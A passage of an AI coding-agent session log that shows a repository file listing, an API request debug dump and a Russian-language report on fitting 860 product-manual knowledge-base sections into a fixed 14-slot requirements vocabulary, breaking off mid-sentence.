patterns/fr-generation/examples/basic-example.md\\n  patterns/fr-validation/README.md\\n  patterns/fr-validation/examples/basic-example.md\\n  patterns/glossary-context-generation/README.md\\n  patterns/glossary-context-generation/examples/basic-example.md\\n  patterns/meeting-summary-generation/README.md\\n  patterns/meeting-summary-generation/examples/basic-example.md\\n  patterns/usecase-generation/README.md\\n  patterns/usecase-generation/examples/basic-example.md\\n  patterns/user-story-generation/README.md\\n  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standards/GLOSSARY.md\\n  standards/README.md\\n  standards/analysis-standard.md\\n  standards/artifact-naming-standard.md\\n  standards/ba-ontology.executable.md\\n  standards/ba-ontology.md\\n  standards/bcreq-process-standard.md\\n  standards/cascading-context-loading-standard.md\\n  standards/evals-contract-standard.md\\n  standards/experiment-log-standard.md\\n  standards/industry-standards-standard.md\\n  standards/kb-standard.md\\n  standards/pages-ux-standard.md\\n  standards/pattern-standard.md\\n  standards/product-classification-contract.md\\n  standards/prompt-debugging-process.md\\n  standards/prompt-standard.md\\n  standards/research-standard.md\\n  standards/runs-contract-standard.md\\n  standards/team-directory.md\",\n[2026-09-29T07:45:38.700Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:38.700Z] [INFO]       }\n[2026-09-29T07:45:38.700Z] [INFO]     ]\n[2026-09-29T07:45:38.700Z] [INFO]   },\n[2026-09-29T07:45:38.700Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"uuid\": \"49ed7a14-6e50-4ce2-a60f-d8a2a298bb6c\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:38.695Z\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:38.700Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:38.700Z] [INFO] }\n[2026-09-29T07:45:38.734Z] [STDOUT] [log_6e34dc] sending request {\n[2026-09-29T07:45:38.737Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:38.739Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:38.741Z] [STDOUT]   options: {\n[2026-09-29T07:45:38.743Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:38.744Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:38.746Z] [STDOUT]     body: {\n[2026-09-29T07:45:38.748Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:38.750Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:38.751Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:38.753Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:38.755Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:38.756Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:38.758Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:38.762Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:38.766Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:38.775Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:38.779Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:38.786Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:38.787Z] [STDOUT]     },\n[2026-09-29T07:45:38.790Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:38.797Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:38.803Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:38.806Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:38.809Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:38.812Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:38.817Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:38.819Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:38.821Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:38.824Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:38.826Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:38.827Z] [STDOUT]     },\n[2026-09-29T07:45:38.831Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:38.840Z] [STDOUT]   },\n[2026-09-29T07:45:38.845Z] [STDOUT]   headers: {\n[2026-09-29T07:45:38.847Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:38.851Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:38.857Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:38.864Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:38.867Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:38.871Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:38.875Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:38.877Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:38.881Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:38.884Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:38.886Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:38.896Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1601\",\n[2026-09-29T07:45:38.904Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:38.908Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:38.913Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:38.918Z] [STDOUT]     \"x-client-request-id\": \"1cde119d-fdd9-4b79-9f2c-b37c57b23e5d\",\n[2026-09-29T07:45:38.922Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:38.929Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:38.932Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:38.937Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:38.941Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:38.947Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:38.960Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:38.966Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:38.971Z] [STDOUT]   },\n[2026-09-29T07:45:38.976Z] [STDOUT] }\n[2026-09-29T07:45:39.203Z] [INFO] {\n[2026-09-29T07:45:39.203Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"message\": {\n[2026-09-29T07:45:39.203Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:39.203Z] [INFO]     \"content\": [\n[2026-09-29T07:45:39.203Z] [INFO]       {\n[2026-09-29T07:45:39.203Z] [INFO]         \"tool_use_id\": \"toolu_01SvHg7wa9kR3RVtdhZfKWmF\",\n[2026-09-29T07:45:39.203Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:39.203Z] [INFO]         \"content\": \"> \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0437\u0430\u043c\u0435\u0440\u0430 2026-09-08 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0441\u0441\u044b\u043b\u043a\u0438\\n> \u043d\u0438\u0436\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u0442\u043e\u0440\u044b \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430; KB \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0430 \u0432\\n> [`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n> \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 [\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u043c \u0441\u043d\u0438\u043c\u043a\u0435 runtime](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/ed42b3cd0eed2774c9b080232ca00484d9a4f7cd/docs/kb)\\n> \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0443\u0442\u044f\u043c.\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442. \u0426\u0438\u0444\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a` \u0441\u043f\u0438\u0446\u044b\\n[`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts) \u0438 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c\\n\u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\\n\\n\u0417\u0430\u043c\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u043f\u0443\u043d\u043a\u0442 3 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043a PR\\n[#562](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/562):\\n\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432 `S-*` \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043d\u0435 \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0442\u0440\u043e\u0439\u043d\u044b\u043c, \u0430\\n\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e-\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u043c \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0437\u043d\u0430\u043d\u0438\u0439 \u0438\u0437 \u0411\u0417 \u0434\u043b\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043e\u0431\u044f\u0437\u0430\u043d\u043e\\n\u043b\u043e\u0436\u0438\u0442\u044c\u0441\u044f \u0432 \u043e\u0434\u0438\u043d \u0441\u043a\u0435\u043b\u0435\u0442 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c \u00ab\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e\u00bb \u0441\u043b\u043e\u0442\u0430 \u043f\u043e\u0434 \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442.\\n\\n\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c:\\n[`probe-kb-slot-fit.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/probe-kb-slot-fit.py),\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:\\n[`kb-slot-fit.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/kb-slot-fit.json),\\n\u043f\u0440\u043e\u0433\u043e\u043d:\\n[`probe-kb-slot-fit.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/probe-kb-slot-fit.log).\\n\\n## 1. \u0427\u0442\u043e \u0438 \u043d\u0430 \u0447\u0451\u043c \u0438\u0437\u043c\u0435\u0440\u044f\u043b\u043e\u0441\u044c\\n\\n\u0421\u043b\u043e\u0439 `kb/processed/` \u0441\u043f\u0438\u0446\u044b \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u043e-\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438\u0437\\n\u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432; \u0441\u0430\u043c \u043a\u043e\u0440\u043f\u0443\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u043a\u0430\u0440\u0442\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 `index.md` \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c\\n([`kb/processed/README.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/README.md)).\\n\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 \u044d\u0442\u0443 \u043a\u0430\u0440\u0442\u0443 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b \u0432 \u0441\u043b\u043e\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e\\n\u0441\u043b\u043e\u0432\u0430\u0440\u044f `S-*`\\n([\u00a72 `20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/20-taxonomy.md)).\\n\\n\u0412\u044b\u0431\u043e\u0440\u043a\u0430 \u2014 \u043f\u044f\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0411\u0417, \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u044f\u043c\\n**\u0434\u043e** \u0437\u0430\u043c\u0435\u0440\u0430. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u2014 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a; \u0432\u0437\u044f\u0442\u043e \u043f\u044f\u0442\u044c,\\n\u0447\u0442\u043e\u0431\u044b \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u0438\u043c\u0435\u043b \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u0430 \u043f\u0440\u043e\u0444\u0438\u043b\u044c\\n`P-SETTINGS` \u2014 \u0442\u0440\u0438, \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n\\n| \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0411\u0417 | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u041f\u0440\u043e\u0444\u0438\u043b\u044c | \u0420\u0430\u0437\u0434\u0435\u043b\u043e\u0432 |\\n| --- | --- | --- | --- |\\n| [`mango-cc-manual`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/mango-cc-manual/index.md) | `contact-center` | `P-SETTINGS` | 139 |\\n| [`mango-lk-manual`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/mango-lk-manual/index.md) | `self-service-lk` | `P-SETTINGS` | 351 |\\n| [`vpbx-api`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/vpbx-api/index.md) | `voice-ucaas` | `P-API` | 255 |\\n| [`sip-trunk`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/sip-trunk/index.md) | `voice-ucaas` | `P-DEVICE` | 39 |\\n| [`speech-analytics/user-guide`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/kb/processed/speech-analytics/user-guide/index.md) | `analytics-reporting` | `P-SETTINGS` | 76 |\\n\\n\u0412\u0441\u0435\u0433\u043e 860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432.\\n\\n## 2. \u041f\u043e\u043a\u0440\u044b\u0442\u0438\u0435: \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u043b\u0438 \u043a\u043e\u0440\u043f\u0443\u0441 \u0441\u043b\u043e\u0442\u0430 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u0420\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432\u0441\u0435\u0433\u043e | 860 |\\n| \u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c | 457 (53.1 %) |\\n| \u041e\u0442\u043e\u0448\u043b\u043e \u0441\u043b\u043e\u0442\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e `S-SCOPE` | 403 (46.9 %) |\\n| \u041f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0441\u043b\u043e\u0442\u043e\u0432 **\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f** | **0** |\\n\\n\u0421\u043b\u043e\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u2014 \u043d\u0435 \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f, \u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u0440\u0430\u0437\u0434\u0435\u043b \u0411\u0417 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u0442\u043e \u0435\u0441\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435, \u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u2014 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 `S-SCOPE`. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u0435\u043c, \u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0430 \u0441\u043b\u043e\u0432\u043e, \u0432\u0441\u0435 403 \u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0445 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\\n\u0432\u044b\u043f\u0438\u0441\u0430\u043d\u044b \u0432 \u043f\u043e\u043b\u0435 `default_slot_titles` \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. \u0418\u0445 \u0440\u0430\u0437\u0431\u043e\u0440:\\n\\n| \u0413\u0440\u0443\u043f\u043f\u0430 \u043e\u0441\u0442\u0430\u0442\u043a\u0430 | \u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 | \u041a\u0443\u0434\u0430 \u043b\u043e\u0436\u0438\u0442\u0441\u044f | \u041d\u0443\u0436\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0441\u043b\u043e\u0442? |\\n| --- | --- | --- | --- |\\n| \u041e\u0431\u044a\u0435\u043a\u0442\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 | \u00ab\u041e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f\u00bb, \u00ab\u0421\u0434\u0435\u043b\u043a\u0438\u00bb, \u00ab\u0412\u043e\u0440\u043e\u043d\u043a\u0430 \u043f\u0440\u043e\u0434\u0430\u0436\u00bb, \u00ab\u0424\u0438\u043d\u0430\u043d\u0441\u044b\u00bb, \u00ab\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b\u00bb | \u0444\u0430\u043a\u0442 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f, `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u041c\u0435\u0442\u043e\u0434\u044b \u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f API | \u00ab\u0418\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\u00bb, \u00ab\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0436\u0430\u0442\u0438\u044f\u0445 DTMF \u043a\u043b\u0430\u0432\u0438\u0448\u00bb | `S-INTEGRATION`, \u0435\u0441\u043b\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0445 \u043c\u0435\u043d\u044f\u0435\u0442; \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u041e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433 \u0438 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 | \u00ab\u0411\u043b\u043e\u043a 3. \u0417\u0432\u043e\u043d\u043a\u0438\u00bb, \u00ab\u0428\u0430\u0433\u0438 \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430\u00bb, \u00ab\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f\u00bb | `S-SCOPE`; \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `S-SCENARIO` | \u043d\u0435\u0442 |\\n| \u0422\u0430\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u043e\u043f\u043b\u0430\u0442\u0430 | \u00ab\u041f\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0447\u0435\u0442\u00bb, \u00ab\u0411\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u00bb, \u00ab\u0420\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u044b\u00bb | `S-LIMITS` \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0438, \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f | \u00ab1.\u00bb, \u00ab2.\u00bb, \u00ab3.1.\u00bb \u0432 `sip-trunk` | \u0448\u0443\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430 PDF, \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b | \u043d\u0435\u0442 |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430 \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u0441\u043b\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u0435 \u0438\u0437 14\\n\u0441\u043b\u043e\u0442\u043e\u0432. \u042d\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u043d\u0435 \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f \u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0442 \u043f\u043e\u0434\\n\u043a\u0430\u0436\u0434\u044b\u0439 \u0447\u0438\u0445\u00bb: \u043d\u0430 860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c.\\n\\n\u0427\u0435\u0441\u0442\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430: \u0434\u043e\u043b\u044f 46.9 % \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e **\u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430** \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442\\n\u0441\u043b\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432. \u042d\u0442\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043e\u0431 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u0435, \u0430 \u043d\u0435 \u043e\\n\u0441\u043b\u043e\u0432\u0430\u0440\u0435: \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u00ab\u0421\u0434\u0435\u043b\u043a\u0438\u00bb \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430 \u0441\u043b\u043e\u0442\u0430, \u043d\u043e \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014\\n\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u0444\u0430\u043a\u0442 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e 